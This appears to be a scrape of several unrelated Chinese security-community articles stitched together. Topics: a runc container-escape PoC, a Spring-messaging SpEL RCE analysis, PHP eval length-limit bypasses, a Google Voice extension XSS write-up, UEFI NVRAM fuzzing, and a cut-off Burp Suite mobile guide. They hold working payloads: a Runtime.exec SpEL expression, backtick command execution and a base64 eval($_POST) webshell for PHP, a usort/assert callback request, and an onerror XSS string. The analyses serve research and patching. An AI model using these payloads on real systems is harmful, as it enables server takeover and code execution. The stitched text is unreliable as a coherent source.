在补丁中，可以看出在tmpfs的挂载逻辑中，增加了doTmpfsCopyUp 函数。
在其中使用WithProcfd 函数防止TOCTOU漏洞的发生，所有的 securejoin.SecureJoin 移入WithProcfd进行统一处理。
WithProcfd 中使用/proc/self/fd/ ，确保打开的文件是securejoin.SecureJoin 后的文件。
## POC分析
漏洞作者给出的POC中给出了一个很精妙的构造，利用了这个看似很难利用的条件竞争漏洞。
首先，创建两个公共tmpfs的挂载，名称为test1、test2，在容器A中，将test1挂载到/test1路径，test2挂载到/test2路径，同时将/test2/test2指向/
。在容器B中，将test1挂载到/test1路径，test2挂载到/test1/mntx路径和/test1/zzz路径。
在容器A启动后，将/test1/mnt-tmpx指向rootfs路径，且交换mnt和mnt-tmpx，且rootfs/test2/test2指向/（K8S中，同一个pod下的rootfs在一个路径，形如/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir ）。
所以当条件竞争挂载的时候，即容器B启动时，挂载test2，
mount(‘/’,’rootfs/test1/zzz’) ，同时MS_MOVE 标志位将原有该挂载点的subtree移至新挂载点下，造成逃逸发生。
## 总结
Linux在引入symlink的时候并不存在安全风险，但随着时代的变迁（容器的引入），symlink确实在一定程度上确实容易造成容器逃逸的发生。[19]Linux在尝试在不同的角度去解决这个问题，但目前还没有很完全的能够解决此风险。这里不禁让人想引用tk的一句话：
安全意识要有时代背景。
作者认为伴随容器场景愈发复杂，安全研究的逐渐深入，非Linux内核漏洞导致的容器逃逸长期来看还会有一个增长的趋势。
## 参考资料
[1] champtarhttps://github.com/champtar[2]runc mount destinations can be
swapped via symlink-exchange to cause mounts outside the rootfs
(CVE-2021-30465) https://blog.champtar.fr/runc-symlink-CVE-2021-30465/[3]
《初探文件路径条件竞争 – TOCTOU&CVE-2019-18276》http://whip1ash.cn/2021/06/16/toctou/[4]
About the Open Container
Initiativehttps://opencontainers.org/about/overview/[5] What is the
relationship between containerd, OCI and
runc?http://www.caict.ac.cn/kxyj/qwfb/ztbg/202010/t20201021_360375.htm[6]
Containerd Architecturehttps://github.com/docker-archive/containerd/blob/master/design/architecture.md[7] namespaces(7) — Linux
manual pagehttps://man7.org/linux/man-pages/man7/namespaces.7.html[8] clone(2)
— Linux manual pagehttps://man7.org/linux/man-pages/man2/clone.2.html[9]
unshare(2) — Linux manual pagehttps://man7.org/linux/man-pages/man2/unshare.2.html[10] Linux Namespace分析——mnt
namespace的实现与应用https://hustcat.github.io/namespace-implement-1/[11]Mount
namespaces and shared subtreeshttps://lwn.net/Articles/689856/[12]
0ca91f44f1664da834bc61115a849b56d22f595fhttps://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f[13]
mount(2) — Linux manual pagehttps://man7.org/linux/man-pages/man2/mount.2.html[14] filepath-securejoinhttps://github.com/cyphar/filepath-securejoin[15]
tmpfshttps://en.wikipedia.org/wiki/Tmpfs[16] Overlay
Filesystemhttps://www.kernel.org/doc/html/latest/filesystems/overlayfs.html#non-directories[17] mount(2) — Linux manual pagehttps://man7.org/linux/man-pages/man2/mount.2.html[18] rootfs: add mount destination
validationhttps://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f[19]
Re: [PATCH 2/3] namei: implement AT_THIS_ROOT chroot-like path
resolutionhttps://lwn.net/ml/linux-kernel/CAG48ez30WJhbsro2HOc_DR7V91M+hNFzBP5ogRMZaxbAORvqzg@mail.gmail.com/ | 社区文章 |
# CVE-2018-1270 RCE with spring-messaging分析
##### 译文声明
本文是翻译文章，文章原作者 adm1n，文章来源：adm1n.design
原文地址：<http://adm1n.design/2019/12/20/CVE-2018-1270%20Remote%20Code%20Execution%20with%20spring-messaging%20%E5%88%86%E6%9E%90/>
译文仅供参考，具体内容表达以及含义原文为准。
作者：Hu3sky@360CERT
## 漏洞详情
Spring Messaging 属于Spring Framework项目，其定义了Enterprise Integration
Patterns典型实现的接口及相关的支持（注解，接口的简单默认实现等）
<https://pivotal.io/security/cve-2018-1270>
## 影响范围
Spring
versions 5.0.x - 5.0.5
versions 4.3.x - 4.3.16
SpringBoot
2.0.0及以下
Spring Framework允许应用程序通过spring-messaging模块通过简单的内存STOMP代理通过WebSocket端点公开STOMP。恶意用户（或攻击者）可以向代理发送消息，这可能导致远程执行代码攻击。
复现环境
<https://repo.spring.io/release/org/springframework/spring/5.0.0.RELEASE/>
## SPEL
spel是Spring Expression Language
即，spring表达式语言，是一个支持查询和操作运行时对象导航图功能的强大的表达式语言.支持以下功能
文字表达式
布尔和关系运算符
正则表达式
类表达式
访问 properties, arrays, lists, maps
方法调用
关系运算符
参数
调用构造函数
Bean引用
构造Array
内嵌lists
内嵌maps
三元运算符
变量
用户定义的函数
集合投影
集合筛选
模板表达式
一个hello world
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class Spel {
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
String var1 = (String)parser.parseExpression("'Hello World'").getValue();
int maxValue = (Integer) parser.parseExpression("0x7FFFFFFF").getValue();
System.out.println(maxValue);
System.out.println(var1);
}
}
弹calc
代码
String calc = (String)parser.parseExpression("T(Runtime).getRuntime().exec('open /Applications/Calculator.app/')").getValue();
这里的T是类型操作符，可以从类路径加载指定类名称（全限定名）所对应的 Class 的实例，格式为：T(全限定类名)，效果等同于
ClassLoader#loadClass()
## Websocket
由于HTTP具有单向通信的特点，于是造成了Server向Client推送消息变得很难，需要使用轮询的方式，于是有了WebSocket，他支持双向通信，类似于聊天室模式，在这个会话里，Server和Clinet都能发送数据，相互通信，所以WebSocket是一种在一个TCP连接上能够全双工，双向通信的协议
## Stomp
STOMP即Simple (or Streaming) Text Orientated Messaging
Protocol，简单(流)文本定向消息协议，一个非常简单和容易实现的协议，提供了可互操作的连接格式，易于开发并应用广泛。这个协议可以有多种载体，可以通过HTTP，也可以通过WebSocket。在Spring-Message中使用的是STOMP Over WebSocket。
STOMP是一种基于帧的协议， STOMP是基于Text的，但也允许传输二进制数据。
它的默认编码是UTF-8，但它的消息体也支持其他编码方式，比如压缩编码。
一个STOMP帧由三部分组成:命令，Header(头信息)，Body（消息体）
COMMAND
header1:value1
header2:value2
Body^@
一个实际帧结构
SEND
destination:/broker/roomId/1
content-length:57
{“type":"ENTER","content":"o7jD64gNifq-wq-C13Q5CRisJx5E"}
spring 的消息功能是基于消息代理构建的
### demo
stomp的架构图
图中各个组件介绍：
* 生产者型客户端（左上组件）: 发送SEND命令到某个目的地址(destination)的客户端。
* 消费者型客户端（左下组件）: 订阅某个目的地址(destination), 并接收此目的地址所推送过来的消息的客户端。
* request channel: 一组用来接收生产者型客户端所推送过来的消息的线程池。
* response channel: 一组用来推送消息给消费者型客户端的线程池。
* broker: 消息队列管理者，也可以成为消息代理。它有自己的地址（例如“/topic”），客户端可以向其发送订阅指令，它会记录哪些订阅了这个目的地址(destination)。
* 应用目的地址(图中的”/app”): 发送到这类目的地址的消息在到达broker之前，会先路由到由应用写的某个方法。相当于对进入broker的消息进行一次拦截，目的是针对消息做一些业务处理。
* 非应用目的地址(图中的”/topic”，也是消息代理地址): 发送到这类目的地址的消息会直接转到broker。不会被应用拦截。
* SimpAnnotatonMethod: 发送到应用目的地址的消息在到达broker之前, 先路由到的方法. 这部分代码是由应用控制的。
git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
cd gs-messaging-stomp-websocket
//回到spring-boot 2.0.1之前
git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3
几个重要的文件
GreetingController.java(相当于图中的SimpAnnotatonMethod)
package hello;
import org.springframework.messaging.handler.annotation.MessageMapping;
import org.springframework.messaging.handler.annotation.SendTo;
import org.springframework.stereotype.Controller;
@Controller
public class GreetingController {
//使用MessageMapping注解来标识所有发送到“/hello”这个destination的消息，都会被路由到这个方法进行处理
@MessageMapping("/hello")
//使用SendTo注解来标识这个方法返回的结果，都会被发送到它指定的destination，“/topic/greetings”.
@SendTo("/topic/greetings")
public Greeting greeting(HelloMessage message) throws Exception {
Thread.sleep(1000); // simulated delay
return new Greeting("Hello, " + message.getName() + "!");
}
}
尤其注意，这个处理器方法有一个返回值，这个返回值并不是返回给客户端的，而是转发给消息代理的，如果客户端想要这个返回值的话，只能从消息代理订阅
WebSocketConfig.java
package hello;
import org.springframework.context.annotation.Configuration;
import org.springframework.messaging.simp.config.MessageBrokerRegistry;
import org.springframework.web.socket.config.annotation.EnableWebSocketMessageBroker;
import org.springframework.web.socket.config.annotation.StompEndpointRegistry;
import org.springframework.web.socket.config.annotation.WebSocketMessageBrokerConfigurer;
//使用Configuration注解标识这是一个Springboot的配置类.
@Configuration
//使用此注解来标识使能WebSocket的broker.即使用broker来处理消息
@EnableWebSocketMessageBroker
public class WebSocketConfig implements WebSocketMessageBrokerConfigurer {
@Override
public void configureMessageBroker(MessageBrokerRegistry config) {
//应用程序以 /app 为前缀，而 代理目的地以 /topic 为前缀
config.enableSimpleBroker("/topic");
config.setApplicationDestinationPrefixes("/app");
}
@Override
public void registerStompEndpoints(StompEndpointRegistry registry) {
registry.addEndpoint("/gs-guide-websocket").withSockJS();
}
}
运行后
## 漏洞复现
在static/app.js
添加header，需要指定为selector，在文档里有说明，是一个选择器
<https://stomp.github.io/stomp-specification-1.0.html>
随便发送一条消息即可触发
可以抓个包看到websocket发送的STOMP帧
点击connect时
点击send时
## 漏洞分析
### SUBSCRIBE
先在ExecutorSubscribableChannel.class的run函数下断，可以发现先来的第一条命令是CONNECT
然后是SUBSCRIBE命令，此时的message如下
然后从header取出selector并判断是否为null
不为null后，调用expressionParser.parseExpression处理selector，返回给expression变量，
然后调用subscriptionRegistry.addSubscription方法添加订阅
传入sessionId，subsId,destination和expression，首先从sessionid中获得info，如果没有就注册订阅，存储着session里的东西，返回DefaultSubscriptionRegistry的实例info
然后获取value，这里为null
DefaultSubscriptionRegistry.SessionSubscriptionInfo value = (DefaultSubscriptionRegistry.SessionSubscriptionInfo)this.sessions.putIfAbsent(sessionId, info);
往下走，添加订阅
把destination put 进destinationLookup
然后调用Subscription初始化id和selector值，最后add进subs变量
然后在缓存中更新订阅
### Send
发送的message为
前面的调用很多，我们之间从处理的地方开始跟进
在这之前的调用栈，通过反射来调到我们请求的方法
inovke处理完后，会返回我们的控制器里的值
往下执行，跟入handleReturnValue
调用getReturnValueHandler来获得handler变量，用于处理return数据，有默认的defaultDestinationPrefix
继续跟进
提取headers等信息
然后get Sessionid 为c01pvxeq
获取destination
进入for循环后，首先调用createHeaders，把sessionid传入，主要是设置session和header
然后跟到convertAndSend
调用doConvert函数得到message，然后调用send，开始发送message
调用sendInternal
message
由于timeout为-1，所以调用send传入message参数
跟入sendInternal
调用SimpleBrokerMessageHandler的handleMessageInternal
获取到信息后调用updateSessionReadTime更新时间
检测是否是perfix开头，这里发往的订阅目的地是/topic/greetings，所以checkDestinationPrefix为true
调用sendMessageToSubscribers发送message到订阅地址
跟入findSubscriptions查找订阅，检测destination，没有error则进入findSubscriptionsInternal函数
这里的destinationCache变量是
还记得一开始处理订阅的时候么，我们有一些put操作，相当于存入缓存了，这里就是一个提取的操作
调用DefaultSubscriptionRegistry的getSubscriptions获取订阅信息，
从整个订阅里获取全部的信息然后保存到一个迭代器里，并且赋值给info
最后根据sessionID add result里
最后更新缓存
然后跟进filterSubscriptions
首先判断selector是否存在，存在则进入判断
result变量传入后形参是allMatches
提取出expression，判断不为空
然后在getValue执行spel表达式
调用链很长
## 修复
<https://github.com/spring-projects/spring-framework/commit/e0de9126ed8cf25cf141d3e66420da94e350708a#diff-ca84ec52e20ebb2a3732c6c15f37d37aL217>
更改为要重用的静态计算上下文,SimpleEvaluationContext 对于权限的限制更为严格，能够进行的操作更少。只支持一些简单的Map结构。
来看看修改为SimpleEvaluationContext如下代码的执行情况
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
public class Spel {
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
Expression calc = parser.parseExpression("T(Runtime).getRuntime().exec('open /Applications/Calculator.app/')");
calc.getValue(context);
}
}
不再弹出calc。
## Reference
* <https://my.oschina.net/genghz/blog/1796965>
* <https://www.toptal.com/java/stomp-spring-boot-websocket>
* <https://pivotal.io/security/cve-2018-1270>
* <https://juejin.im/post/5b7071ade51d45665816f8c0>
* <https://juejin.im/post/5b9cb6825188255c5546e5f4>
* <https://spring.io/guides/gs/messaging-jms/>
* <https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.html>
* <https://blog.csdn.net/pacosonswjtu/article/details/51914567>
* <https://www.cnblogs.com/jmcui/p/8999998.html> | 社区文章 |
来源：https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html
作者: **phithon@长亭科技**
昨天晚上 @roker 在小密圈里问了一个问题，就是eval(xxx)，xxx长度限制为16个字符，而且不能用eval或assert，怎么执行命令。
我把他的叙述写成代码，大概如下：
<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
eval($param);
}
?>
那么这个代码怎么拿到webshell？
## 命令执行的利用
这个是我得到最多的一种答案，大部分人都是利用命令执行来绕过限制，最短的是：
param=`$_GET[1]`;&1=bash
稍长一点的可以用exec：
param=exec($_GET[1]);
这个方法我就不多说了，送分题。
## 远程文件包含的利用
有的同学提到了远程文件，但正常文件包含`include $_GET[1];`，这个刚好17个字符，超了一位。
不过，其实`include$_GET[1];`也是可以运行的，中间的空格可以不要。
这也是一个思路，但限制就是需要开启远程文件包含，但这个选项默认是关闭的。
## 本地文件包含的利用
那么，文件包含真的不行么？
有一种思路，利用file_put_contents可以将字符一个个地写入一个文件中，大概请求如下：
param=$_GET[a](N,a,8);&a=file_put_contents
file_put_contents的第一个参数是文件名，我传入N。PHP会认为N是一个常量，但我之前并没有定义这个常量，于是PHP就会把它转换成字符串'N'；第二个参数是要写入的数据，a也被转换成字符串'a'；第三个参数是flag，当flag=8的时候内容会追加在文件末尾，而不是覆盖。
除了file_put_contents，error_log函数效果也类似。
但这个方法有个问题，就是file_put_contents第二个参数如果是符号，就会导致PHP出错，比如`param=$_GET[a](N,<,8);&a=file_put_contents`。但如果要写webshell的话，“<”等符号又是必不可少的。
于是微博上 @买贴膜的
想出一个办法，每次向文件'N'中写入一个字母或数字，最后构成一个base64字符串，再包含的时候使用php://filter对base64进行解码即可。
最后请求如下： php
# 每次写入一个字符：PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
# 最后包含
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
成功getshell。
## 本地日志包含
这是 @lem0n 师傅想到的一个方法，首先通过各种方法找到web日志，然后利用上面说的include的方式来包含之。
param=include$_GET[a];&a=/home/u244201241/.logs/php_error.log
如果找不到web日志，利用条件竞争的方法，包含tmp文件也可以，有心的同学可以试试。
## 标准答案：利用变长参数特性展开数组
这是我出这个题目时想的标准答案，其实也是roker提出的那个问题的一种解决方法。
变长参数是PHP5.6新引入的特性，文档在此： <http://php.net/manual/zh/migration56.new-features.php>
和Python中的`**kwargs`，类似，在PHP中可以使用
`func(...$arr)`这样的方式，将`$arr`数组展开成多个参数，传入func函数。
再结合我曾提到过的回调后门（ <https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html> ），即可构造一个完美的利用，数据包如下：
POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
param=usort(...$_GET);
效果图：
大概过程就是，GET变量被展开成两个参数`['test',
'phpinfo();']`和`assert`，传入usort函数。usort函数的第二个参数是一个回调函数`assert`，其调用了第一个参数中的`phpinfo();`。修改`phpinfo();`为webshell即可。
最后说一下，这个方法基本无视任何WAF，各个WAF需要关注了。
* * * | 社区文章 |
# 前言
这个基于DOM的XSS是偶然间发现的，这一切都归功于Google Ads的customer
ID和美国的电话号码格式相同。当我打开Gmail并查看我的收件箱时，弹出如下内容
Gmail中存储型XSS是由Google ads规则触发的，为了避免上当受骗，我立即向google报告了这个事。
# 触发原理
触发有两个条件
1：安装了Google语音扩展程序
2：收件箱中有下列文本消息：`'444-555-4455 <img src=x onerror=alert(1)>'`
Google语音扩展程序可以在`accounts.google.com` 和`facebook.com.`上执行任何javascript。
我查看了Google语音扩展程序的源代码，发现在文件`contentscript.js`中，有一个名为`Wg()`的函数，正是这个函数触发了XSS。
function Wg(a) {
for (var b = /(^|\s)((\+1\d{10})|((\+1[ \.])?\(?\d{3}\)?[ \-\.\/]{1,3}\d{3}[ \-\.]{1,2}\d{4}))(\s|$)/m, c = document.evaluate('.//text()[normalize-space(.) != ""]', a, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null), d = 0; d < c.snapshotLength; d++) {
a = c.snapshotItem(d);
var f = b.exec(a.textContent);
if (f && f.length) {
f = f[2];
var g = "gc-number-" + Ug,
h = '<span id="' + g + '" class="gc-cs-link"title="Call with Google Voice">' + f + "</span>",
k;
if (k = a.parentNode && !(a.parentNode.nodeName in Og)) k = a.parentNode.className,
k = "string" === typeof k && k.match(/\S+/g) || [], k = !Fa(k, "gc-cs-link");
if (k) try {
if (!document.evaluate('ancestor-or-self::*[@googlevoice = "nolinks"]', a, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null)
.snapshotLength) {
if (0 == a.parentNode.childElementCount) {
var w = a.parentNode.innerHTML,
y = w.replace(f, h);
a.parentNode.innerHTML = y
} else {
w = a.data;
y = w.replace(f, h);
var u = Qc("SPAN");
u.innerHTML = y;
h = u;
k = a;
v(null != h && null != k, "goog.dom.insertSiblingAfter expects non-null arguments");
k.parentNode && k.parentNode.insertBefore(h,
k.nextSibling);
Vc(a)
}
var t = Ic(document, g);
t && (Ug++, nc(t, "click", ma(Sg, t, f)))
}
} catch (E) {}
}
}
}
这个函数原理并不难，开发人员在body元素内容中查找电话号码，然后使用获取的电话号码作为其内容创建另一个span元素，这样方便用户直接在网页上直接单击拨打该电话。
从第1行到第9行，它使用`document.evaluate`循环遍历body元素的内容,`document.evaluate`可以在HTML和XML文档中进行搜索，返回表示结果的XPathResult对象，在这里它用于测定和获取所有Body元素的内容，并选择当前节点中的所有文本节点并将其赋给变量‘a’，这里就存在一个DOM-Xpath注入：
(var b = /(^|\s)((\+1\d{10})|((\+1[ \.])?\(?\d{3}\)?[ \-\.\/]{1,3}\d{3}[ \-\.]{1,2}\d{4}))(\s|$)/m, c = document.evaluate('.//text()[normalize-space(.) != ""]', a, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null), d = 0; d < c.snapshotLength; d++) {
a = c.snapshotItem(d);
然后与存储在变量‘a’中的返回结果中执行匹配搜索。（变量‘b’是美国电话号码格式的正则表达式）如果找到匹配项，则将其赋给变量‘f’，然后将其作为span元素的内容放入变量‘h’中。
第10行和第11行检查标签名称，由于变量'f'的内容来自HTML元素，既不是这些标签Script、Style、Head、Object、TEXTAREA、INPUT、SELECT和A中的一个，也不具有“gc-cs-link”的类属性，
这个检查有两个作用：
1)防止扩展与DOM混淆。避免处理SCRIPT, STYLE,HEAD， INPUT, SELECT等标签的内容
2)它会阻止脚本无限循环，因为如果SPAN元素已经存在，就不会继续创建。
第12行到27行，有一个if条件，如果变量k为TRUE，则表示没有找到类属性名为“gc-cs-link”的元素，然后执行try,try语句内还存在另一个if条件检查，如果找不到具有“googlevoice”属性和“nolinks”值的元素，则再次执行document.valuate，然后嵌套IF条件检查变量‘a’是否没有子元素，如果没有，执行下列语句
w = a.parentNode.innerHTML,
y = w.replace(f, h);
a.parentNode.innerHTML = y
如果a有子元素，则执行下列语句
k.parentNode && k.parentNode.insertBefore(h, k.nextSibling);
# 修复
Bug原因：在接收器上执行变量‘a’，该变量保存有效负载： `'444-555-4455 <img src=x onerror=alert(1)>'`，
修复步骤：
在接收器（(innerHTML, insertBefore)）上执行保存电话号码值（例如+12223334455）的变量‘f’
# Reward:
$3,133.7
原文：http://www.missoumsai.com/google-accounts-xss.html | 社区文章 |
# 从UEFI模块的动态仿真到覆盖率导向的UEFI固件模糊测试（一）
##### 译文声明
本文是翻译文章，文章原作者 Assaf Carlsbad，文章来源：sentinelone.com
原文地址：<https://labs.sentinelone.com/moving-from-dynamic-emulation-of-uefi-modules-to-coverage-guided-fuzzing-of-uefi-firmware/>
译文仅供参考，具体内容表达以及含义原文为准。
在本文中，我们将为读者详细介绍覆盖率导向的UEFI固件模糊测试技术。
## 引言
欢迎阅读我们关于UEFI安全、模糊测试和漏洞利用系列文章的第三篇。在本系列的第一篇文章中，我们简要回顾了将SPI闪存转储到磁盘并提取组成UEFI固件的二进制文件的现有工具和技术。在第二篇文章中，我们变身逆向工程，开始着手分析UEFI模块：首先利用流行的RE平台上的各种插件进行了静态分析，然后通过QLING软件模拟UEFI环境进行了相应的动态分析。
对于本文介绍的内容来说，很大程度上是建立在前面两篇文章的基础之上的，所以，如果您还没有读过它们，或者觉得需要复习一下，请在继续阅读下文之前，请返回头来阅读前面的文章，并确保已经很好地理解了其中的核心概念。在这一篇文章中，我们将实现这几个月来一直在努力奋斗的目标：为UEFI代码打造一个覆盖率导向的Fuzzer。
实际上，阅读本文后，您就会发现这里介绍的这款Fuzzer不仅便于使用，而且非常有效，最重要的是，它非常值得信赖。
## 分析UEFI的攻击面
在对UEFI模块进行模糊测试之前，我们首先要分析一下UEFI模块的攻击面。当然，进行这种分析的最终目标，就是从较低特权的上下文（理想情况下是操作系统）中找到一些影响UEFI模块执行流的“原语”。由于我们感兴趣的特定操作系统的特性会有很大差异，因此，有时候寻找这样的原语可能会变得相当棘手。例如，Windows的理念是在运行时限制对UEFI服务进行访问，而优先考虑操作系统的本地驱动程序，然后是ACPI运行时支持。然而，每个规则都有例外，这种情况也是如此。为了更好地探讨这个话题，我们首先得讲一下UEFI
NVRAM变量。
简单地说，NVRAM变量是UEFI模块用于在启动周期中持久化配置数据的关键机制之一。其中，一些变量（例如与安全启动有关的变量，如db、dbx、PK、KEK等）是由UEFI标准规定的，而另一些变量则没有任何预先规定的含义，它们的用途由OEM决定。
图1 UEFI规范定义的部分变量
从上面的截图中可以看出，每个变量都是由一个人类可读的名称和一些属性组成。这些属性决定了变量是否是易失性的（NV），是否可以在运行时访问（BS，RT），以及对变量的访问是否应进行身份验证（AT）。虽然没有明文规定，但每个变量也被链接到一个唯一的厂商GUID，以免出现潜在的名称冲突。
实际上，NVRAM变量被存储在一些非易失性（惊不惊喜，意不意外）的内存区域，在大多数情况下，它们被存储在SPI闪存的BIOS区的一个专用卷上。
图2 NVRAM的存储情况
为了与NVRAM变量进行交互，UEFI标准定义了两个运行时服务：GetVariable()和SetVariable()。其中，服务GetVariable()的原型如下所示：
typedef EFI_STATUS(EFIAPI * EFI_GET_VARIABLE) (IN CHAR16 *VariableName, IN EFI_GUID *VendorGuid, OUT UINT32 *Attributes, OPTIONAL IN OUT UINTN *DataSize, OUT VOID *Data OPTIONAL)
GetVariable()的工作原理是在NVRAM存储区域中搜索一个由(VariableName,
VendorGuid)唯一标识的变量。如果找到了这样的变量，GetVariable()就会填写适当的Attributes、DataSize和Data参数；否则的话，则会向调用者返回一个错误。
SetVariable()服务的对应的原型如下所示：
typedef EFI_STATUS(EFIAPI * EFI_SET_VARIABLE) (IN CHAR16 *VariableName, IN EFI_GUID *VendorGuid, IN UINT32 Attributes, IN UINTN DataSize, IN VOID *Data)
SetVariable()的工作方式是创建或更新由(VariableName,
VendorGuid)唯一标识的变量，然后根据参数DataSize和Data设置其内容，最后根据Attributes参数值更新其属性。
从模糊测试的角度来看，NVRAM变量特别有吸引力，因为我们刚才列举的UEFI服务和底层操作系统公开的系统调用之间几乎存在一对一的映射。例如，Windows内核导出了ExGetFirmwareEnvironmentVariable和ExSetFirmwareEnvironmentVariable函数，供内核模式的驱动程序检索这些变量的内容，或者根据自己的需要修改它们。更令人惊讶的是，这个功能也可以提供给用户模式的应用程序(!)，只不过使用的API变成了GetFirmwareEnvironmentVariable和SetFirmwareEnvironmentVariable，并且这两个API都是从kernel32.dll导出的。
图3
SetFirmwareEnvironmentVariableA()的原型。请注意这个API和对应的UEFI服务SetVariable()之间的相似之处。
需要指出的是，在这些变量中，虽然有些变量体积很小、结构简单（如布尔标志、计数器等），但有些变量则不仅体量很大，结构也非常复杂。例如，臭名昭著的Setup变量（通常用于汇总BIOS设置屏幕上的配置选项），在我们的测试系统上就是一个长度为4KB左右的二进制blob。知道这些变量的长度的变化范围后，就可以假设某些OEM对这些变量的内容进行了隐式假设，并且在尝试解析它们时可能存在安全漏洞。由于我们前面曾演示过这些变量的内容可以被运行权限较低的代码的攻击者控制（至少是部分控制），因此，这些变量就形成了一个很好的攻击面，换句话说，它们将是我们模糊测试的重点关注对象。
图4 “Setup”变量通常是一个硕大的二进制blob，并且可以在运行时访问。这使其成为模糊测试的理想目标。
实际上，对UEFI
NVRAM变量进行模糊测试并不是一个全新的想法。在这一领域中，最有名的框架就是chipsec，早在2017年，该框架就实现了用于对UEFI变量进行模糊测试的模块。然而，如果您仔细检查源码的话，就会发现chipsec框架采用的方法和我们的方法之间还是有一些显著的差异的：
1. chipsec框架主要用于对SetVariable()本身的实现进行模糊测试。它的做法是利用经过突变处理的参数来反复调用该函数，这些突变的参数包括变量名、属性、GUID、数据、大小等。另一方面，我们对SetVariable()本身的模糊测试兴趣不大，而是更倾向于在读取、解析这些变量的内容以及以其他方式影响这些变量的UEFI模块中寻找漏洞。
2. chipsec框架实现了通常所说的dumb fuzzer，也就是不从被模糊测试的对象中获得任何反馈的fuzzer。反过来，该特性又阻碍了它智能地产生突变，因此，它能做的最好的事情就是随机翻转一些位，并期望某些被翻转的位能带来显著的影响。相比之下，我们的fuzzer能够利用AFL++记录的覆盖率信息，帮助引导突变过程，使其向更有前途的方向发展。
3. 除此之外，chipec框架的fuzzer需要在物理机器上运行，这样的话，这些机器就面临变“砖头”的风险。但是，当fuzzer运行在像Qiling这样的沙盒环境中时，这样的危险显然是不存在的。
尽管存在上述缺点，chipec框架中的fuzzer仍然是一个非常有价值的工具；若要运行该fuzzer，只需运行如下所示的命令即可（务必要小心！）：
chipsec_main.py -m tools.uefi.uefivar_fuzz -a name,1,123456789,94
图5 使用chipec对UEFI变量进行模糊测试
## 小结
在这里，我们对UEFI的攻击面进行了全面的分析，接下来，我们将为读者介绍内存池Sanitizer。
**（未完待续）** | 社区文章 |
# 【技术分享】Burp Suite Mobile Assistant
|
##### 译文声明
本文是翻译文章，文章来源：zhihu.com
原文地址：<https://zhuanlan.zhihu.com/p/26920791>
译文仅供参考，具体内容表达以及含义原文为准。
****
**前言**
Burp Suite 在前段时间更新了v1.7.22版本，其中引入了一个新的模块： **Mobile Assistant** ，它用于配合 Burp
Suite 更方便地测试 iOS 应用程序。 **它可以修改 iOS 设备的系统代理设置，让 HTTP(S) 流量可以轻松重定位到电脑上正在运行的 Burp
。另外它还可以绕过你需要注入 App 的 SSL 证书的验证，拦截、检查和修改所有流量。**
**安装 Burp Suite Mobile Assistant**
因为其功能的性质，需要依赖越狱设备上的软件包管理器 Cydia，并且要注意的是，Mobile Assistant 有些功能目前不支持
iOS10，所以在想使用 Mobile Assistant 相应的功能的时候，注意自己设备的固件版本。
安装 Mobile Assiatant 有两种方法，首先是使用 Cydia 安装：
1.在PC端打开 Burp Suite，设置好代理监听的接口以及端口，我这里设置的端口为8080，接口为我主机的 IP。
2.在越狱设备上打开 Cydia，打开软件源选项，再编辑、添加。
3.要使用 HTTP 协议，输入我们 Burp Suite 所在 PC 端的 IP 地址或主机名以及 Burp Suite 监听的端口号。如果 Cydia
无法连接，注意你的监听代理的设置是否正确以及检查计算机防火墙是否关闭。
4.添加成功后，Burp Suite 现在应该显示为单个源。
5.点开单个源:
6.点击mobileassistant应用程序进行安装:
7.点击安装:
8.之后就会进行下载并安装它。在完成之后，您需要重新启动弹出菜单按钮来应用更改。
9.在安装成功后便会在桌面出现我们的 Mobile Assistant 应用了。
还可以让设备通过浏览器访问 Burp Suite
的浏览器界面，即http://192.168.169.22:8080（主机局域网IP:监听端口）/mobileassistant.deb
来实现安装，下载完成之后通过 Cydia 来完成安装，但是要注意将我们的 deb 格式的安装包导入
/var/root/Media/Cydia/AutoInstall，然后重启 iOS 设备，进入 Cydia 的软件包，就可以发现已经安装好了。
无论是哪种安装方法，都必须要保证我们的主机以及 iOS 设备连接的是同一个网络。
**使路由流量通过 Burp**
首先你要保证你的 Burp 实例正在运行，并且可以从移动设备上进行网络访问，然后在移动设备端的 Burp Suite Mobile Assistant
中设置要进行连接的 Burp Suite 实例的主机 IP 和端口，然后来安装 CA 证书，将 Burp Suite
作为移动设备的代理。在配置完成后，可以通过以下方法来验证你的配置：
**1\. 网络连接：** 设备是否能够连接到给定的主机和端口。
**2\. Burp 验证：** 给定的主机 IP 和端口上监听服务是否是 Burp Suite 的实例。
**3\. CA 证书安装：** 设备是否信任所配置的 Burp Suite 实例的 CA 证书。
**4\. 启用代理：** 设备是否通过所提供的主机和端口为 HTTP 和 HTTPS 连接配置的代理服务器。
注意： 移动助手对代理设置所做的更改是短暂的，会在重新启动后恢复原来的设置。在运行 iOS 9.0 版以上的设备时，使用 Mobile Assistant
对代理设置所做的更改不会反映在 iOS 设置应用中。Burp CA 证书的安装在重新启动后不会恢复。
**绕过证书锁定**
